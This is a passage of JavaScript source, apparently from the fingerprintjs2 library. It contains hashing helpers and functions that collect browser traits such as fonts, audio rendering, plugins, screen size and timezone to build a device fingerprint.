fallthrough\n      case 10:\n        k2 = x64Xor(k2, x64LeftShift([0, key.charCodeAt(i + 9)], 8))\n      // fallthrough\n      case 9:\n        k2 = x64Xor(k2, [0, key.charCodeAt(i + 8)])\n        k2 = x64Multiply(k2, c2)\n        k2 = x64Rotl(k2, 33)\n        k2 = x64Multiply(k2, c1)\n        h2 = x64Xor(h2, k2)\n      // fallthrough\n      case 8:\n        k1 = x64Xor(k1, x64LeftShift([0, key.charCodeAt(i + 7)], 56))\n      // fallthrough\n      case 7:\n        k1 = x64Xor(k1, x64LeftShift([0, key.charCodeAt(i + 6)], 48))\n      // fallthrough\n      case 6:\n        k1 = x64Xor(k1, x64LeftShift([0, key.charCodeAt(i + 5)], 40))\n      // fallthrough\n      case 5:\n        k1 = x64Xor(k1, x64LeftShift([0, key.charCodeAt(i + 4)], 32))\n      // fallthrough\n      case 4:\n        k1 = x64Xor(k1, x64LeftShift([0, key.charCodeAt(i + 3)], 24))\n      // fallthrough\n      case 3:\n        k1 = x64Xor(k1, x64LeftShift([0, key.charCodeAt(i + 2)], 16))\n      // fallthrough\n      case 2:\n        k1 = x64Xor(k1, x64LeftShift([0, key.charCodeAt(i + 1)], 8))\n      // fallthrough\n      case 1:\n        k1 = x64Xor(k1, [0, key.charCodeAt(i)])\n        k1 = x64Multiply(k1, c1)\n        k1 = x64Rotl(k1, 31)\n        k1 = x64Multiply(k1, c2)\n        h1 = x64Xor(h1, k1)\n      // fallthrough\n    }\n    h1 = x64Xor(h1, [0, key.length])\n    h2 = x64Xor(h2, [0, key.length])\n    h1 = x64Add(h1, h2)\n    h2 = x64Add(h2, h1)\n    h1 = x64Fmix(h1)\n    h2 = x64Fmix(h2)\n    h1 = x64Add(h1, h2)\n    h2 = x64Add(h2, h1)\n    return ('00000000' + (h1[0] >>> 0).toString(16)).slice(-8) + ('00000000' + (h1[1] >>> 0).toString(16)).slice(-8) + ('00000000' + (h2[0] >>> 0).toString(16)).slice(-8) + ('00000000' + (h2[1] >>> 0).toString(16)).slice(-8)\n  }\n\n  var defaultOptions = {\n    preprocessor: null,\n    audio: {\n      timeout: 1000,\n        // On iOS 11, audio context can only be used in response to user interaction.\n        // We require users to explicitly enable audio fingerprinting on iOS 11.\n        // See https://stackoverflow.com/questions/46363048/onaudioprocess-not-called-on-ios11#46534088\n      excludeIOS11: true\n    },\n    fonts: {\n      swfContainerId: 'fingerprintjs2',\n      swfPath: 'flash/compiled/FontList.swf',\n      userDefinedFonts: [],\n      extendedJsFonts: false\n    },\n    screen: {\n       // To ensure consistent fingerprints when users rotate their mobile devices\n      detectScreenOrientation: true\n    },\n    plugins: {\n      sortPluginsFor: [/palemoon/i],\n      excludeIE: false\n    },\n    extraComponents: [],\n    excludes: {\n      // Unreliable on Windows, see https://github.com/Valve/fingerprintjs2/issues/375\n      'enumerateDevices': true,\n      // devicePixelRatio depends on browser zoom, and it's impossible to detect browser zoom\n      'pixelRatio': true,\n      // DNT depends on incognito mode for some browsers (Chrome) and it's impossible to detect incognito mode\n      'doNotTrack': true,\n      // uses js fonts already\n      'fontsFlash': true\n    },\n    NOT_AVAILABLE: 'not available',\n    ERROR: 'error',\n    EXCLUDED: 'excluded'\n  }\n\n  var each = function (obj, iterator) {\n    if (Array.prototype.forEach && obj.forEach === Array.prototype.forEach) {\n      obj.forEach(iterator)\n    } else if (obj.length === +obj.length) {\n      for (var i = 0, l = obj.length; i < l; i++) {\n        iterator(obj[i], i, obj)\n      }\n    } else {\n      for (var key in obj) {\n        if (obj.hasOwnProperty(key)) {\n          iterator(obj[key], key, obj)\n        }\n      }\n    }\n  }\n\n  var map = function (obj, iterator) {\n    var results = []\n    // Not using strict equality so that this acts as a\n    // shortcut to checking for `null` and `undefined`.\n    if (obj == null) {\n      return results\n    }\n    if (Array.prototype.map && obj.map === Array.prototype.map) { return obj.map(iterator) }\n    each(obj, function (value, index, list) {\n      results.push(iterator(value, index, list))\n    })\n    return results\n  }\n\n  var extendSoft = function (target, source) {\n    if (source == null) { return target }\n    var value\n    var key\n    for (key in source) {\n      value = source[key]\n      if (value != null && !(Object.prototype.hasOwnProperty.call(target, key))) {\n        target[key] = value\n      }\n    }\n    return target\n  }\n\n// https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/enumerateDevices\n  var enumerateDevicesKey = function (done, options) {\n    if (!isEnumerateDevicesSupported()) {\n      return done(options.NOT_AVAILABLE)\n    }\n    navigator.mediaDevices.enumerateDevices().then(function (devices) {\n      done(devices.map(function (device) {\n        return 'id=' + device.deviceId + ';gid=' + device.groupId + ';' + device.kind + ';' + device.label\n      }))\n    })\n      .catch(function (error) {\n        done(error)\n      })\n  }\n\n  var isEnumerateDevicesSupported = function () {\n    return (navigator.mediaDevices && navigator.mediaDevices.enumerateDevices)\n  }\n// Inspired by and based on https://github.com/cozylife/audio-fingerprint\n  var audioKey = function (done, options) {\n    var audioOptions = options.audio\n    if (audioOptions.excludeIOS11 && navigator.userAgent.match(/OS 11.+Version\\/11.+Safari/)) {\n        // See comment for excludeUserAgent and https://stackoverflow.com/questions/46363048/onaudioprocess-not-called-on-ios11#46534088\n      return done(options.EXCLUDED)\n    }\n\n    var AudioContext = window.OfflineAudioContext || window.webkitOfflineAudioContext\n\n    if (AudioContext == null) {\n      return done(options.NOT_AVAILABLE)\n    }\n\n    var context = new AudioContext(1, 44100, 44100)\n\n    var oscillator = context.createOscillator()\n    oscillator.type = 'triangle'\n    oscillator.frequency.setValueAtTime(10000, context.currentTime)\n\n    var compressor = context.createDynamicsCompressor()\n    each([\n        ['threshold', -50],\n        ['knee', 40],\n        ['ratio', 12],\n        ['reduction', -20],\n        ['attack', 0],\n        ['release', 0.25]\n    ], function (item) {\n      if (compressor[item[0]] !== undefined && typeof compressor[item[0]].setValueAtTime === 'function') {\n        compressor[item[0]].setValueAtTime(item[1], context.currentTime)\n      }\n    })\n\n    oscillator.connect(compressor)\n    compressor.connect(context.destination)\n    oscillator.start(0)\n    context.startRendering()\n\n    var audioTimeoutId = setTimeout(function () {\n      console.warn('Audio fingerprint timed out. Please report bug at https://github.com/Valve/fingerprintjs2 with your user agent: \"' + navigator.userAgent + '\".')\n      context.oncomplete = function () {}\n      context = null\n      return done('audioTimeout')\n    }, audioOptions.timeout)\n\n    context.oncomplete = function (event) {\n      var fingerprint\n      try {\n        clearTimeout(audioTimeoutId)\n        fingerprint = event.renderedBuffer.getChannelData(0)\n            .slice(4500, 5000)\n            .reduce(function (acc, val) { return acc + Math.abs(val) }, 0)\n            .toString()\n        oscillator.disconnect()\n        compressor.disconnect()\n      } catch (error) {\n        done(error)\n        return\n      }\n      done(fingerprint)\n    }\n  }\n  var UserAgent = function (done) {\n    done(navigator.userAgent)\n  }\n  var languageKey = function (done, options) {\n    done(navigator.language || navigator.userLanguage || navigator.browserLanguage || navigator.systemLanguage || options.NOT_AVAILABLE)\n  }\n  var colorDepthKey = function (done, options) {\n    done(window.screen.colorDepth || options.NOT_AVAILABLE)\n  }\n  var deviceMemoryKey = function (done, options) {\n    done(navigator.deviceMemory || options.NOT_AVAILABLE)\n  }\n  var pixelRatioKey = function (done, options) {\n    done(window.devicePixelRatio || options.NOT_AVAILABLE)\n  }\n  var screenResolutionKey = function (done, options) {\n    done(getScreenResolution(options))\n  }\n  var getScreenResolution = function (options) {\n    var resolution = [window.screen.width, window.screen.height]\n    if (options.screen.detectScreenOrientation) {\n      resolution.sort().reverse()\n    }\n    return resolution\n  }\n  var availableScreenResolutionKey = function (done, options) {\n    done(getAvailableScreenResolution(options))\n  }\n  var getAvailableScreenResolution = function (options) {\n    if (window.screen.availWidth && window.screen.availHeight) {\n      var available = [window.screen.availHeight, window.screen.availWidth]\n      if (options.screen.detectScreenOrientation) {\n        available.sort().reverse()\n      }\n      return available\n    }\n    // headless browsers\n    return options.NOT_AVAILABLE\n  }\n  var timezoneOffset = function (done) {\n    done(new Date().getTimezoneOffset())\n  }\n  var timezone = function (done, options) {\n    if (window.Intl && window.Intl.DateTimeFormat) {\n      done(new window.Intl.DateTimeFormat().resolvedOptions().timeZone)\n      return\n    }\n    done(options.NOT_AVAILABLE)\n  }\n  var sessionStorageKey = function (done, options) {\n    done(hasSessionStorage(options))\n  }\n  var localStorageKey = function (done, options) {\n    done(hasLocalStorage(options))\n  }\n  var indexedDbKey = function (done, options) {\n    done(hasIndexedDB(options))\n  }\n  var addBehaviorKey = function (done) {\n      // body might not be defined at this point or removed programmatically\n    done(!!(document.body && document.body.addBehavior))\n  }\n  var openDatabaseKey = function (done) {\n    done(!!window.openDatabase)\n  }\n  var cpuClassKey = function (done, options) {\n    done(getNavigatorCpuClass(options))\n  }\n  var platformKey = function (done, options) {\n    done(getNavigatorPlatform(options))\n  }\n  var doNotTrackKey = function (done, options) {\n    done(getDoNotTrack(options))\n  }\n  var canvasKey = function (done, options) {\n    if (isCanvasSupported()) {\n      done(getCanvasFp(options))\n      return\n    }\n    done(options.NOT_AVAILABLE)\n  }\n  var webglKey = function (done, options) {\n    if (isWebGlSupported()) {\n      done(getWebglFp())\n      return\n    }\n    done(options.NOT_AVAILABLE)\n  }\n  var webglVendorAndRendererKey = function (done) {\n    if (isWebGlSupported()) {\n      done(getWebglVendorAndRenderer())\n      return\n    }\n    done()\n  }\n  var adBlockKey = function (done) {\n    done(getAdBlock())\n  }\n  var hasLiedLanguagesKey = function (done) {\n    done(getHasLiedLanguages())\n  }\n  var hasLiedResolutionKey = function (done) {\n    done(getHasLiedResolution())\n  }\n  var hasLiedOsKey = function (done) {\n    done(getHasLiedOs())\n  }\n  var hasLiedBrowserKey = function (done) {\n    done(getHasLiedBrowser())\n  }\n// flash fonts (will increase fingerprinting time 20X to ~ 130-150ms)\n  var flashFontsKey = function (done, options) {\n    // we do flash if swfobject is loaded\n    if (!hasSwfObjectLoaded()) {\n      return done('swf object not loaded')\n    }\n    if (!hasMinFlashInstalled()) {\n      return done('flash not installed')\n    }\n    if (!options.fonts.swfPath) {\n      return done('missing options.fonts.swfPath')\n    }\n    loadSwfAndDetectFonts(function (fonts) {\n      done(fonts)\n    }, options)\n  }\n// kudos to http://www.lalit.org/lab/javascript-css-font-detect/\n  var jsFontsKey = function (done, options) {\n      // a font will be compared against all the three default fonts.\n      // and if it doesn't match all 3 then that font is not available.\n    var baseFonts = ['monospace', 'sans-serif', 'serif']\n\n    var fontList = [\n      'Andale Mono', 'Arial', 'Arial Black', 'Arial Hebrew', 'Arial MT', 'Arial Narrow', 'Arial Rounded MT Bold', 'Arial Unicode MS',\n      'Bitstream Vera Sans Mono', 'Book Antiqua', 'Bookman Old Style',\n      'Calibri', 'Cambria', 'Cambria Math', 'Century', 'Century Gothic', 'Century Schoolbook', 'Comic Sans', 'Comic Sans MS', 'Consolas', 'Courier', 'Courier New',\n      'Geneva', 'Georgia',\n      'Helvetica', 'Helvetica Neue',\n      'Impact',\n      'Lucida Bright', 'Lucida Calligraphy', 'Lucida Console', 'Lucida Fax', 'LUCIDA GRANDE', 'Lucida Handwriting', 'Lucida Sans', 'Lucida Sans Typewriter', 'Lucida Sans Unicode',\n      'Microsoft Sans Serif', 'Monaco', 'Monotype Corsiva', 'MS Gothic', 'MS Outlook', 'MS PGothic', 'MS Reference Sans Serif', 'MS Sans Serif', 'MS Serif', 'MYRIAD', 'MYRIAD PRO',\n      'Palatino', 'Palatino Linotype',\n      'Segoe Print', 'Segoe Script', 'Segoe UI', 'Segoe UI Light', 'Segoe UI Semibold', 'Segoe UI Symbol',\n      'Tahoma', 'Times', 'Times New Roman', 'Times New Roman PS', 'Trebuchet MS',\n      'Verdana', 'Wingdings', 'Wingdings 2', 'Wingdings 3'\n    ]\n\n    if (options.fonts.extendedJsFonts) {\n      var extendedFontList = [\n        'Abadi MT Condensed Light', 'Academy Engraved LET', 'ADOBE CASLON PRO', 'Adobe Garamond', 'ADOBE GARAMOND PRO', 'Agency FB', 'Aharoni', 'Albertus Extra Bold', 'Albertus Medium', 'Algerian', 'Amazone BT', 'American Typewriter',\n        'American Typewriter Condensed', 'AmerType Md BT', 'Andalus', 'Angsana New', 'AngsanaUPC', 'Antique Olive', 'Aparajita', 'Apple Chancery', 'Apple Color Emoji', 'Apple SD Gothic Neo', 'Arabic Typesetting', 'ARCHER',\n        'ARNO PRO', 'Arrus BT', 'Aurora Cn BT', 'AvantGarde Bk BT', 'AvantGarde Md BT', 'AVENIR', 'Ayuthaya', 'Bandy', 'Bangla Sangam MN', 'Bank Gothic', 'BankGothic Md BT', 'Baskerville',\n        'Baskerville Old Face', 'Batang', 'BatangChe', 'Bauer Bodoni', 'Bauhaus 93', 'Bazooka', 'Bell MT', 'Bembo', 'Benguiat Bk BT', 'Berlin Sans FB', 'Berlin Sans FB Demi', 'Bernard MT Condensed', 'BernhardFashion BT', 'BernhardMod BT', 'Big Caslon', 'BinnerD',\n        'Blackadder ITC', 'BlairMdITC TT', 'Bodoni 72', 'Bodoni 72 Oldstyle', 'Bodoni 72 Smallcaps', 'Bodoni MT', 'Bodoni MT Black', 'Bodoni MT Condensed', 'Bodoni MT Poster Compressed',\n        'Bookshelf Symbol 7', 'Boulder', 'Bradley Hand', 'Bradley Hand ITC', 'Bremen Bd BT', 'Britannic Bold', 'Broadway', 'Browallia New', 'BrowalliaUPC', 'Brush Script MT', 'Californian FB', 'Calisto MT', 'Calligrapher', 'Candara',\n        'CaslonOpnface BT', 'Castellar', 'Centaur', 'Cezanne', 'CG Omega', 'CG Times', 'Chalkboard', 'Chalkboard SE', 'Chalkduster', 'Charlesworth', 'Charter Bd BT', 'Charter BT', 'Chaucer',\n        'ChelthmITC Bk BT', 'Chiller', 'Clarendon', 'Clarendon Condensed', 'CloisterBlack BT', 'Cochin', 'Colonna MT', 'Constantia', 'Cooper Black', 'Copperplate', 'Copperplate Gothic', 'Copperplate Gothic Bold',\n        'Copperplate Gothic Light', 'CopperplGoth Bd BT', 'Corbel', 'Cordia New', 'CordiaUPC', 'Cornerstone', 'Coronet', 'Cuckoo', 'Curlz MT', 'DaunPenh', 'Dauphin', 'David', 'DB LCD Temp', 'DELICIOUS', 'Denmark',\n        'DFKai-SB', 'Didot', 'DilleniaUPC', 'DIN', 'DokChampa', 'Dotum', 'DotumChe', 'Ebrima', 'Edwardian Script ITC', 'Elephant', 'English 111 Vivace BT', 'Engravers MT', 'EngraversGothic BT', 'Eras Bold ITC', 'Eras Demi ITC', 'Eras Light ITC', 'Eras Medium ITC',\n        'EucrosiaUPC', 'Euphemia', 'Euphemia UCAS', 'EUROSTILE', 'Exotc350 Bd BT', 'FangSong', 'Felix Titling', 'Fixedsys', 'FONTIN', 'Footlight MT Light', 'Forte',\n        'FrankRuehl', 'Fransiscan', 'Freefrm721 Blk BT', 'FreesiaUPC', 'Freestyle Script', 'French Script MT', 'FrnkGothITC Bk BT', 'Fruitger', 'FRUTIGER',\n        'Futura', 'Futura Bk BT', 'Futura Lt BT', 'Futura Md BT', 'Futura ZBlk BT', 'FuturaBlack BT', 'Gabriola', 'Galliard BT', 'Gautami', 'Geeza Pro', 'Geometr231 BT', 'Geometr231 Hv BT', 'Geometr231 Lt BT', 'GeoSlab 703 Lt BT',\n        'GeoSlab 703 XBd BT', 'Gigi', 'Gill Sans', 'Gill Sans MT', 'Gill Sans MT Condensed', 'Gill Sans MT Ext Condensed Bold', 'Gill Sans Ultra Bold', 'Gill Sans Ultra Bold Condensed', 'Gisha', 'Gloucester MT Extra Condensed', 'GOTHAM', 'GOTHAM BOLD',\n        'Goudy Old Style', 'Goudy Stout', 'GoudyHandtooled BT', 'GoudyOLSt BT', 'Gujarati Sangam MN', 'Gulim', 'GulimChe', 'Gungsuh', 'GungsuhChe', 'Gurmukhi MN', 'Haettenschweiler', 'Harlow Solid Italic', 'Harrington', 'Heather', 'Heiti SC', 'Heiti TC', 'HELV',\n        'Herald', 'High Tower Text', 'Hiragino Kaku Gothic ProN', 'Hiragino Mincho ProN', 'Hoefler Text', 'Humanst 521 Cn BT', 'Humanst521 BT', 'Humanst521 Lt BT', 'Imprint MT Shadow', 'Incised901 Bd BT', 'Incised901 BT',\n        'Incised901 Lt BT', 'INCONSOLATA', 'Informal Roman', 'Informal011 BT', 'INTERSTATE', 'IrisUPC', 'Iskoola Pota', 'JasmineUPC', 'Jazz LET', 'Jenson', 'Jester', 'Jokerman', 'Juice ITC', 'Kabel Bk BT', 'Kabel Ult BT', 'Kailasa', 'KaiTi', 'Kalinga', 'Kannada Sangam MN',\n        'Kartika', 'Kaufmann Bd BT', 'Kaufmann BT', 'Khmer UI', 'KodchiangUPC', 'Kokila', 'Korinna BT', 'Kristen ITC', 'Krungthep', 'Kunstler Script', 'Lao UI', 'Latha', 'Leelawadee', 'Letter Gothic', 'Levenim MT', 'LilyUPC', 'Lithograph', 'Lithograph Light', 'Long Island',\n        'Lydian BT', 'Magneto', 'Maiandra GD', 'Malayalam Sangam MN', 'Malgun Gothic',\n        'Mangal', 'Marigold', 'Marion', 'Marker Felt', 'Market', 'Marlett', 'Matisse ITC', 'Matura MT Script Capitals', 'Meiryo', 'Meiryo UI', 'Microsoft Himalaya', 'Microsoft JhengHei', 'Microsoft New Tai Lue', 'Microsoft PhagsPa', 'Microsoft Tai Le',\n        'Microsoft Uighur', 'Microsoft YaHei', 'Microsoft Yi Baiti', 'MingLiU', 'MingLiU_HKSCS', 'MingLiU_HKSCS-ExtB', 'MingLiU-ExtB', 'Minion', 'Minion Pro', 'Miriam', 'Miriam Fixed', 'Mistral', 'Modern', 'Modern No. 20', 'Mona Lisa Solid ITC TT', 'Mongolian Baiti',\n        'MONO', 'MoolBoran', 'Mrs Eaves', 'MS LineDraw', 'MS Mincho', 'MS PMincho', 'MS Reference Specialty', 'MS UI Gothic', 'MT Extra', 'MUSEO', 'MV Boli',\n        'Nadeem', 'Narkisim', 'NEVIS', 'News Gothic', 'News GothicMT', 'NewsGoth BT', 'Niagara Engraved', 'Niagara Solid', 'Noteworthy', 'NSimSun', 'Nyala', 'OCR A Extended', 'Old Century', 'Old English Text MT', 'Onyx', 'Onyx BT', 'OPTIMA', 'Oriya Sangam MN',\n        'OSAKA', 'OzHandicraft BT', 'Palace Script MT', 'Papyrus', 'Parchment', 'Party LET', 'Pegasus', 'Perpetua', 'Perpetua Titling MT', 'PetitaBold', 'Pickwick', 'Plantagenet Cherokee', 'Playbill', 'PMingLiU', 'PMingLiU-ExtB',\n        'Poor Richard', 'Poster', 'PosterBodoni BT', 'PRINCETOWN LET', 'Pristina', 'PTBarnum BT', 'Pythagoras', 'Raavi', 'Rage Italic', 'Ravie', 'Ribbon131 Bd BT', 'Rockwell', 'Rockwell Condensed', 'Rockwell Extra Bold', 'Rod', 'Roman', 'Sakkal Majalla',\n        'Santa Fe LET', 'Savoye LET', 'Sceptre', 'Script', 'Script MT Bold', 'SCRIPTINA', 'Serifa', 'Serifa BT', 'Serifa Th BT', 'ShelleyVolante BT', 'Sherwood',\n        'Shonar Bangla', 'Showcard Gothic', 'Shruti', 'Signboard', 'SILKSCREEN', 'SimHei', 'Simplified Arabic', 'Simplified Arabic Fixed', 'SimSun', 'SimSun-ExtB', 'Sinhala Sangam MN', 'Sketch Rockwell', 'Skia', 'Small Fonts', 'Snap ITC', 'Snell Roundhand', 'Socket',\n        'Souvenir Lt BT', 'Staccato222 BT', 'Steamer', 'Stencil', 'Storybook', 'Styllo', 'Subway', 'Swis721 BlkEx BT', 'Swiss911 XCm BT', 'Sylfaen', 'Synchro LET', 'System', 'Tamil Sangam MN', 'Technical', 'Teletype', 'Telugu Sangam MN', 'Tempus Sans ITC',\n        'Terminal', 'Thonburi', 'Traditional Arabic', 'Trajan', 'TRAJAN PRO', 'Tristan', 'Tubular', 'Tunga', 'Tw Cen MT', 'Tw Cen MT Condensed', 'Tw Cen MT Condensed Extra Bold',\n        'TypoUpright BT', 'Unicorn', 'Univers', 'Univers CE 55 Medium', 'Univers Condensed', 'Utsaah', 'Vagabond', 'Vani', 'Vijaya', 'Viner Hand ITC', 'VisualUI', 'Vivaldi', 'Vladimir Script', 'Vrinda', 'Westminster', 'WHITNEY', 'Wide Latin',\n        'ZapfEllipt BT', 'ZapfHumnst BT', 'ZapfHumnst Dm BT', 'Zapfino', 'Zurich BlkEx BT', 'Zurich Ex BT', 'ZWAdobeF']\n      fontList = fontList.concat(extendedFontList)\n    }\n\n    fontList = fontList.concat(options.fonts.userDefinedFonts)\n\n      // remove duplicate fonts\n    fontList = fontList.filter(function (font, position) {\n      return fontList.indexOf(font) === position\n    })\n\n      // we use m or w because these two characters take up the maximum width.\n      // And we use a LLi so that the same matching fonts can get separated\n    var testString = 'mmmmmmmmmmlli'\n\n      // we test using 72px font size, we may use any size. I guess larger the better.\n    var testSize = '72px'\n\n    var h = document.getElementsByTagName('body')[0]\n\n      // div to load spans for the base fonts\n    var baseFontsDiv = document.createElement('div')\n\n      // div to load spans for the fonts to detect\n    var fontsDiv = document.createElement('div')\n\n    var defaultWidth = {}\n    var defaultHeight = {}\n\n      // creates a span where the fonts will be loaded\n    var createSpan = function () {\n      var s = document.createElement('span')\n        /*\n         * We need this css as in some weird browser this\n         * span elements shows up for a microSec which creates a\n         * bad user experience\n         */\n      s.style.position = 'absolute'\n      s.style.left = '-9999px'\n      s.style.fontSize = testSize\n\n        // css font reset to reset external styles\n      s.style.fontStyle = 'normal'\n      s.style.fontWeight = 'normal'\n      s.style.letterSpacing = 'normal'\n      s.style.lineBreak = 'auto'\n      s.style.lineHeight = 'normal'\n      s.style.textTransform = 'none'\n      s.style.textAlign = 'left'\n      s.style.textDecoration = 'none'\n      s.style.textShadow = 'none'\n      s.style.whiteSpace = 'normal'\n      s.style.wordBreak = 'normal'\n      s.style.wordSpacing = 'normal'\n\n      s.innerHTML = testString\n      return s\n    }\n\n      // creates a span and load the font to detect and a base font for fallback\n    var createSpanWithFonts = function (fontToDetect, baseFont) {\n      var s = createSpan()\n      s.style.fontFamily = \"'\" + fontToDetect + \"',\" + baseFont\n      return s\n    }\n\n      // creates spans for the base fonts and adds them to baseFontsDiv\n    var initializeBaseFontsSpans = function () {\n      var spans = []\n      for (var index = 0, length = baseFonts.length; index < length; index++) {\n        var s = createSpan()\n        s.style.fontFamily = baseFonts[index]\n        baseFontsDiv.appendChild(s)\n        spans.push(s)\n      }\n      return spans\n    }\n\n      // creates spans for the fonts to detect and adds them to fontsDiv\n    var initializeFontsSpans = function () {\n      var spans = {}\n      for (var i = 0, l = fontList.length; i < l; i++) {\n        var fontSpans = []\n        for (var j = 0, numDefaultFonts = baseFonts.length; j < numDefaultFonts; j++) {\n          var s = createSpanWithFonts(fontList[i], baseFonts[j])\n          fontsDiv.appendChild(s)\n          fontSpans.push(s)\n        }\n        spans[fontList[i]] = fontSpans // Stores {fontName : [spans for that font]}\n      }\n      return spans\n    }\n\n      // checks if a font is available\n    var isFontAvailable = function (fontSpans) {\n      var detected = false\n      for (var i = 0; i < baseFonts.length; i++) {\n        detected = (fontSpans[i].offsetWidth !== defaultWidth[baseFonts[i]] || fontSpans[i].offsetHeight !== defaultHeight[baseFonts[i]])\n        if (detected) {\n          return detected\n        }\n      }\n      return detected\n    }\n\n      // create spans for base fonts\n    var baseFontsSpans = initializeBaseFontsSpans()\n\n      // add the spans to the DOM\n    h.appendChild(baseFontsDiv)\n\n      // get the default width for the three base fonts\n    for (var index = 0, length = baseFonts.length; index < length; index++) {\n      defaultWidth[baseFonts[index]] = baseFontsSpans[index].offsetWidth // width for the default font\n      defaultHeight[baseFonts[index]] = baseFontsSpans[index].offsetHeight // height for the default font\n    }\n\n      // create spans for fonts to detect\n    var fontsSpans = initializeFontsSpans()\n\n      // add all the spans to the DOM\n    h.appendChild(fontsDiv)\n\n      // check available fonts\n    var available = []\n    for (var i = 0, l = fontList.length; i < l; i++) {\n      if (isFontAvailable(fontsSpans[fontList[i]])) {\n        available.push(fontList[i])\n      }\n    }\n\n      // remove spans from DOM\n    h.removeChild(fontsDiv)\n    h.removeChild(baseFontsDiv)\n    done(available)\n  }\n  var pluginsComponent = function (done, options) {\n    if (isIE()) {\n      if (!options.plugins.excludeIE) {\n        done(getIEPlugins(options))\n      } else {\n        done(options.EXCLUDED)\n      }\n    } else {\n      done(getRegularPlugins(options))\n    }\n  }\n  var getRegularPlugins = function (options) {\n    if (navigator.plugins == null) {\n      return options.NOT_AVAILABLE\n    }\n\n    var plugins = []\n      // plugins isn't defined in Node envs.\n    for (var i = 0, l = navigator.plugins.length; i < l; i++) {\n      if (navigator.plugins[i]) { plugins.push(navigator.plugins[i]) }\n    }\n\n      // sorting plugins only for those user agents, that we know randomize the plugins\n      // every time we try to enumerate them\n    if (pluginsShouldBeSorted(options)) {\n      plugins = plugins.sort(function (a, b) {\n        if (a.name > b.name) { return 1 }\n        if (a.name < b.name) { return -1 }\n        return 0\n      })\n    }\n    return map(plugins, function (p) {\n      var mimeTypes = map(p, function (mt) {\n        return [mt.type, mt.suffixes]\n      })\n      return [p.name, p.description, mimeTypes]\n    })\n  }\n  var getIEPlugins = function (options) {\n    var result = []\n    if ((Object.getOwnPropertyDescriptor && Object.getOwnPropertyDescriptor(window, 'ActiveXObject')) || ('ActiveXObject' in window)) {\n      var names = [\n        'AcroPDF.PDF', // Adobe PDF reader 7+\n        'Adodb.Stream',\n        'AgControl.AgControl', // Silverlight\n        'DevalVRXCtrl.DevalVRXCtrl.1',\n        'MacromediaFlashPaper.MacromediaFlashPaper',\n        'Msxml2.DOMDocument',\n        'Msxml2.XMLHTTP',\n        'PDF.PdfCtrl', // Adobe PDF reader 6 and earlier, brrr\n        'QuickTime.QuickTime', // QuickTime\n        'QuickTimeCheckObject.QuickTimeCheck.1',\n        'RealPlayer',\n        'RealPlayer.RealPlayer(tm) ActiveX Control (32-bit)',\n        'RealVideo.RealVideo(tm) ActiveX Control (32-bit)',\n        'Scripting.Dictionary',\n        'SWCtl.SWCtl', // ShockWave player\n        'Shell.UIHelper',\n        'ShockwaveFlash.ShockwaveFlash', // flash plugin\n        'Skype.Detection',\n        'TDCCtl.TDCCtl',\n        'WMPlayer.OCX', // Windows media player\n        'rmocx.RealPlayer G2 Control',\n        'rmocx.RealPlayer G2 Control.1'\n      ]\n        // starting to detect plugins in IE\n      result = map(names, function (name) {\n        try {\n            // eslint-disable-next-line no-new\n          new window.ActiveXObject(name)\n          return name\n        } catch (e) {\n          return options.ERROR\n        }\n      })\n    } else {\n      result.push(options.NOT_AVAILABLE)\n    }\n    if (navigator.plugins) {\n      result = result.concat(getRegularPlugins(options))\n    }\n    return result\n  }\n  var pluginsShouldBeSorted = function (options) {\n    var should = false\n    for (var i = 0, l = options.plugins.sortPluginsFor.length; i < l; i++) {\n      var re = options.plugins.sortPluginsFor[i]\n      if (navigator.userAgent.match(re)) {\n        should = true\n        break\n      }\n    }\n    return should\n  }\n  var touchSupportKey = function (done) {\n    done(getTouchSupport())\n  }\n  var hardwareConcurrencyKey = function (done, options) {\n    done(getHardwareConcurrency(options))\n  }\n  var hasSessionStorage = function (options) {\n    try {\n      return !!window.sessionStorage\n    } catch (e) {\n      return options.ERROR // SecurityError when referencing it means it exists\n    }\n  }\n\n// https://bugzilla.mozilla.org/show_bug.cgi?id=781447\n  var hasLocalStorage = function (options) {\n    try {\n      return !!window.localStorage\n    } catch (e) {\n      return options.ERROR // SecurityError when referencing it means it exists\n    }\n  }\n  var hasIndexedDB = function (options) {\n    try {\n      return !!window.indexedDB\n    } catch (e) {\n      return options.ERROR // SecurityError when referencing it means it exists\n    }\n  }\n  var getHardwareConcurrency = function (options) {\n    if (navigator.hardwareConcurrency) {\n      return navigator.hardwareConcurrency\n    }\n    return options.NOT_AVAILABLE\n  }\n  var getNavigatorCpuClass = function (options) {\n    return navigator.cpuClass || options.NOT_AVAILABLE\n  }\n  var getNavigatorPlatform = function (options) {\n    if (navigator.platform) {\n      return navigator.platform\n    } else {\n      return options.NOT_AVAILABLE\n    }\n  }\n  var getDoNotTrack = function (options) {\n    if (navigator.doNotTrack) {\n      return navigator.doNotTrack\n    } else if (navigator.msDoNotTrack) {\n      return navigator.msDoNotTrack\n    } else if (window.doNotTrack) {\n      return window.doNotTrack\n    } else {\n      return options.NOT_AVAILABLE\n    }\n  }\n// This is a crude and primitive touch screen detection.\n// It's not possible to currently reliably detect the  availability of a touch screen\n// with a JS, without actually subscribing to a touch event.\n// http://www.stucox.com/blog/you-cant-detect-a-touchscreen/\n// https://github.com/Modernizr/Modernizr/issues/548\n// method returns an array of 3 values:\n// maxTouchPoints, the success or failure of creating a TouchEvent,\n// and the availability of the 'ontouchstart' property\n\n  var getTouchSupport = function () {\n    var maxTouchPoints = 0\n    var touchEvent\n    if (typeof navigator.maxTouchPoints !== 'undefined') {\n      maxTouchPoints = navigator.maxTouchPoints\n    } else if (typeof navigator.msMaxTouchPoints !== 'undefined') {\n      maxTouchPoints = navigator.msMaxTouchPoints\n    }\n    try {\n      document.createEvent('TouchEvent')\n      touchEvent = true\n    } catch (_) {\n      touchEvent = false\n    }\n    var touchStart = 'ontouchstart' in window\n    return [maxTouchPoints, touchEvent, touchStart]\n  }\n// https://www.browserleaks.com/canvas#how-does-it-work\n\n  var getCanvasFp = function (options) {\n    var result = []\n      // Very simple now, need to make it more complex (geo shapes etc)\n    var canvas = document.createElement('canvas')\n    canvas.width = 2000\n    canvas.height = 200\n    canvas.style.display = 'inline'\n    var ctx = canvas.getContext('2d')\n      // detect browser support of canvas winding\n      // http://blogs.adobe.com/webplatform/2013/01/30/winding-rules-in-canvas/\n      // https://github.com/Modernizr/Modernizr/blob/master/feature-detects/canvas/winding.js\n    ctx.rect(0, 0, 10, 10)\n    ctx.rect(2, 2, 6, 6)\n    result.push('canvas winding:' + ((ctx.isPointInPath(5, 5, 